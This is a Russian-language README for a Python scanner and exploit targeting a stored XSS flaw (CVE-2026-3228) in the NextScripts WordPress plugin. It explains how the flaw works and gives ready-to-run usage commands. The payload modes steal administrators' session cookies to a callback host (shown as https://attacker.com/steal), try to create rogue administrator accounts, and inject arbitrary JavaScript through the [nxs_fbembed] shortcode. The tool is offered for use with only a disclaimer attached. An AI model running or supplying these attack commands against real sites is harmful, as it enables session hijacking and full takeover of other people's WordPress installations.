
Сканирует и эксплуатирует CVE-2026-3228 — хранимую XSS в плагине NextScripts для WordPress, с обнаружением без аутентификации, проверками с аутентификацией и внедрением полезной нагрузки для PoC, кражи cookie или создания администратора.
CVE-2026-3228 - Сканер и эксплойт для хранимого XSS в плагине NextScripts для WordPress
https://img.shields.io/badge/python-3.6+-blue.svg
https://img.shields.io/badge/license-MIT-green
https://img.shields.io/badge/WordPress-Plugin-red
Автор: NULL200OK
Комплексный инструмент на Python для сканирования и эксплуатации CVE-2026-3228 — хранимой межсайтовой XSS-уязвимости (Stored Cross-Site Scripting) в плагине NextScripts: Social Networks Auto-Poster для WordPress (версии ≤ 4.4.6).
Уязвимость позволяет аутентифицированным пользователям с уровнем доступа Contributor или выше внедрять произвольный JavaScript через шорткод [nxs_fbembed]. Когда администратор просматривает заражённую запись, скрипт выполняется в его браузере, что потенциально может привести к перехвату сессии, созданию учётной записи администратора или компрометации сайта.
📦 Возможности
info – Вывод подробной информации об уязвимости (описание, первопричина, воздействие).
scan – Сканирование до аутентификации для обнаружения плагина и его версии.
check – Комплексная проверка с учётными данными (вход, проверка привилегий, определение версии).
exploit – Внедрение вредоносных XSS-пейлоадов в новую запись с использованием уязвимого шорткода.
Несколько типов пейлоадов:
alert – Простое окно alert для подтверждения концепции (proof-of-concept).
cookie – Похищение cookie сессии и отправка их на callback-URL.
admin – Попытка создать нового пользователя-администратора (требуется просмотр страницы администратором).
html – Базовая HTML-инъекция с событиями onerror.
custom – Пользовательский JavaScript.
all – Внедрение всех типов пейлоадов в отдельные записи.
Автоматическая аутентификация – Обработка входа в WordPress, управление сессией и извлечение nonce.
Запасные методы внедрения – Сначала пробует REST API, затем традиционную отправку формы.
Удобный вывод – Цветные статусные сообщения и понятные пошаговые инструкции.
🚨 Обзор уязвимости
CVE ID: CVE-2026-3228
Оценка CVSS: 6.4 (Средняя)
Затронутый плагин: NextScripts: Social Networks Auto-Poster ≤ 4.4.6
Первопричина:
Недостаточная санитизация входных данных значения snapFB post meta.
Недостаточное экранирование вывода при рендеринге шорткода [nxs_fbembed].
Требуемые привилегии: Учётная запись уровня Contributor или выше.
Воздействие: Злоумышленник может выполнить произвольный JavaScript в контексте любого пользователя (включая администраторов), просматривающего заражённую запись, что приводит к полной компрометации сайта.
⚙️ Требования
Python 3.6+
requests
beautifulsoup4
Установка зависимостей:
bash
pip install requests beautifulsoup4
🔧 Установка
bash
cd CVE-2026-3228
📚 Использование
text
usage: CVE-2026-3228.py [-h] {info,scan,check,exploit} ...
CVE-2026-3228 - Сканер и эксплойт для хранимого XSS в плагине NextScripts для WordPress
positional arguments:
{info,scan,check,exploit}
info Вывод подробной информации об уязвимости
scan Проверка, уязвима ли цель (до аутентификации)
check Комплексная проверка с учётными данными
exploit Эксплуатация уязвимости (требуются действительные учётные данные)
optional arguments:
-h, --help показать это справочное сообщение и выйти
bash
python3 CVE-2026-3228.py info
bash
python3 CVE-2026-3228.py scan https://example.com
bash
python3 CVE-2026-3228.py check https://example.com -u contributor -p password
Базовый alert-пейлоад (PoC)
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type alert
Похищение cookie (требуется слушатель)
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type cookie --callback-url https://attacker.com/steal
Попытка создать пользователя-администратора (когда администратор просматривает страницу)
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type admin
Внедрение всех типов пейлоадов
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type all
Пользовательский JavaScript
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type custom --custom-js "console.log('pwned')"
🧠 Как это работает (пошагово)
Аутентификация – Скрипт выполняет вход в WordPress с использованием предоставленных учётных данных и поддерживает сессию.
Проверка привилегий – Проверяет, что вошедший пользователь имеет как минимум уровень доступа Contributor (требуется для создания записей).
Генерация пейлоада – Создаёт JavaScript-пейлоады на основе выбранного типа.
Внедрение – Создаёт новую запись, содержащую уязвимый шорткод [nxs_fbembed]. Вредоносный скрипт помещается в поле snapFB post meta, которое не санитизируется должным образом плагином.
Хранение – Запись публикуется (или сохраняется как черновик), и пейлоад сохраняется в базе данных.
Триггер – Когда администратор (или любой пользователь) просматривает запись, несанитизированный скрипт рендерится и выполняется в его браузере.
Пост-эксплуатация – В зависимости от пейлоада злоумышленник может похитить cookie, создать учётные записи администратора или выполнить другие действия.
Скрипт сначала пытается выполнить внедрение через WordPress REST API (быстрее и чище). Если это не удаётся, он переключается на традиционную отправку формы, извлекая необходимые nonce со страницы редактора записей.
⚠️ Отказ от ответственности
Этот инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности. Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, является незаконным. Автор (NULL200OK) не несёт ответственности и не отвечает за любое неправомерное использование или ущерб, причинённый этим скриптом.
📄 Лицензия
Этот проект лицензирован по лицензии MIT — подробности см. в файле LICENSE.
📬 Ссылки
MITRE CVE‑2026‑3228 (заглушка)
Каталог плагинов WordPress
OWASP Stored XSS